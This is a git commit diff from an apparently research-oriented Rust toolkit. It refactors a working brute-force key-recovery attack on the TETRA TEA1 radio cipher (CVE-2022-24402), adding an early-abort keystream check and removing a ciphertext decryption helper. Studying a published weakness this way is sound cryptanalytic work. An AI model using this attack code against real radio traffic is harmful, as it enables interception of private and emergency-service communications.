move test in tea1_attack + optimize attack

This commit is contained in:
2026-04-27 18:39:02 +02:00
parent fe2f625349
commit e590d55121
2 changed files with 34 additions and 50 deletions
+2 -20
View File
@@ -9,11 +9,9 @@ use clap::{Parser, Subcommand};
use lfsr::Lfsr; use lfsr::Lfsr;
use period::{longest_period_parallel, period_paper}; use period::{longest_period_parallel, period_paper};
use tea1_attack::tea1_attack_example;
use tea3::Tea3; use tea3::Tea3;
use tea1::*;
use tea1_attack::*;
#[derive(Parser)] #[derive(Parser)]
#[command(name = "tetra-crypto-tools")] #[command(name = "tetra-crypto-tools")]
#[command(about = "LFSR / TEA-3 / TEA-1 test utilities", long_about = None)] #[command(about = "LFSR / TEA-3 / TEA-1 test utilities", long_about = None)]
@@ -45,7 +43,7 @@ fn main() {
match cli.command { match cli.command {
Commands::Lfsr => test_lfsr(), Commands::Lfsr => test_lfsr(),
Commands::Tea1 => test_tea1_attack(), Commands::Tea1 => tea1_attack_example(),
Commands::Tea3 => test_tea3(), Commands::Tea3 => test_tea3(),
Commands::Periods => test_periods(), Commands::Periods => test_periods(),
Commands::GreatestPeriod => find_greatest_period(), Commands::GreatestPeriod => find_greatest_period(),
@@ -61,22 +59,6 @@ fn test_lfsr() {
} }
} }
fn test_tea1_attack() {
let key0 = [0x00u8; 10];
let reduced0 = init_key_register(&key0); // 0xc24e273b
assert_eq!(reduced0, 0xc24e273b);
let frame0 = 0x1111_1111u32;
let ks0 = tea1_keystream(frame0, &key0, 4);
let recovered0 = recover_tea1_keyreg(frame0, &ks0);
assert_eq!(recovered0, Some(reduced0));
println!("Recovered key successfully (0x{:08x})", recovered0.unwrap());
println!("original key (0x{:08x})", reduced0);
}
fn test_tea3() { fn test_tea3() {
let key = vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; let key = vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
let state = vec![0; 8]; let state = vec![0; 8];
+30 -28
View File
@@ -1,20 +1,24 @@
// tea1_attack.rs // tea1_attack.rs
// Implementation of the Midnight Blue Labs TEA1 attack (CVE-2022-24402) // Implementation of the Midnight Blue Labs TEA1 attack (CVE-2022-24402)
use rayon::prelude::*;
use crate::tea1::*; use crate::tea1::*;
use rayon::prelude::*;
/// Returns true if the candidate key_reg produces the exact known keystream prefix
/// Early aborts on the first mismatch
#[inline]
pub fn keyreg_matches_prefix(frame_number: u32, mut key_reg: u32, known_prefix: &[u8]) -> bool {
if known_prefix.is_empty() {
return true;
}
/// Generates the TEA1 keystream using a candidate 32-bit key register directly
pub fn tea1_keystream_with_keyreg(frame_number: u32, mut key_reg: u32, num_bytes: usize) -> Vec<u8> {
let mut out = vec![0u8; num_bytes];
let mut iv_reg = expand_iv(frame_number); let mut iv_reg = expand_iv(frame_number);
let mut skip_rounds: u32 = 54; let mut skip_rounds: u32 = 54;
for byte_out in out.iter_mut() { for &target_byte in known_prefix {
for _ in 0..skip_rounds { for _ in 0..skip_rounds {
// Step 1: non-linear feedback byte from key register // Step 1: non-linear feedback from key register
let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize; let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize;
let sbox_out = TEA1_SBOX[sbox_idx]; let sbox_out = TEA1_SBOX[sbox_idx];
key_reg = (key_reg << 8) | (sbox_out as u32); key_reg = (key_reg << 8) | (sbox_out as u32);
// Step 2: derive 3 bytes from current state // Step 2: derive 3 bytes from current state
@@ -30,10 +34,12 @@ pub fn tea1_keystream_with_keyreg(frame_number: u32, mut key_reg: u32, num_bytes
iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64); iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64);
} }
*byte_out = (iv_reg >> 56) as u8; if (iv_reg >> 56) as u8 != target_byte {
return false;
}
skip_rounds = 19; skip_rounds = 19;
} }
out true
} }
/// Brute-force recovery of the 32-bit effective key register given a frame number and a known keystream prefix /// Brute-force recovery of the 32-bit effective key register given a frame number and a known keystream prefix
@@ -44,30 +50,26 @@ pub fn recover_tea1_keyreg(frame_number: u32, known_keystream: &[u8]) -> Option<
} }
let check_len = known_keystream.len().min(4); let check_len = known_keystream.len().min(4);
let known_prefix = &known_keystream[0..check_len];
let mut known_arr = [0u8; 8]; (0u32..=u32::MAX).into_par_iter().find_any({
known_arr[0..check_len].copy_from_slice(&known_keystream[0..check_len]);
(0u32..=u32::MAX)
.into_par_iter()
.find_any({
let frame_number = frame_number; let frame_number = frame_number;
let known_arr = known_arr;
let check_len = check_len;
move |&candidate| { move |&candidate| keyreg_matches_prefix(frame_number, candidate, known_prefix)
let ks = tea1_keystream_with_keyreg(frame_number, candidate, check_len);
ks.as_slice() == &known_arr[0..check_len]
}
}) })
} }
pub fn tea1_attack_example() {
let key0 = [0x00u8; 10];
let reduced0 = init_key_register(&key0); // 0xc24e273b
assert_eq!(reduced0, 0xc24e273b);
pub fn decrypt_with_recovered_key( let frame0 = 0x1111_1111u32;
frame_number: u32, let ks0 = tea1_keystream(frame0, &key0, 4);
ciphertext: &[u8],
) -> Option<Vec<u8>> { let recovered0 = recover_tea1_keyreg(frame0, &ks0);
let key_reg = recover_tea1_keyreg(frame_number, ciphertext)?; assert_eq!(recovered0, Some(reduced0));
let keystream = tea1_keystream_with_keyreg(frame_number, key_reg, ciphertext.len());
Some(keystream.into_iter().zip(ciphertext).map(|(k, c)| k ^ c).collect()) println!("Recovered key successfully (0x{:08x})", recovered0.unwrap());
println!("original key (0x{:08x})", reduced0);
} }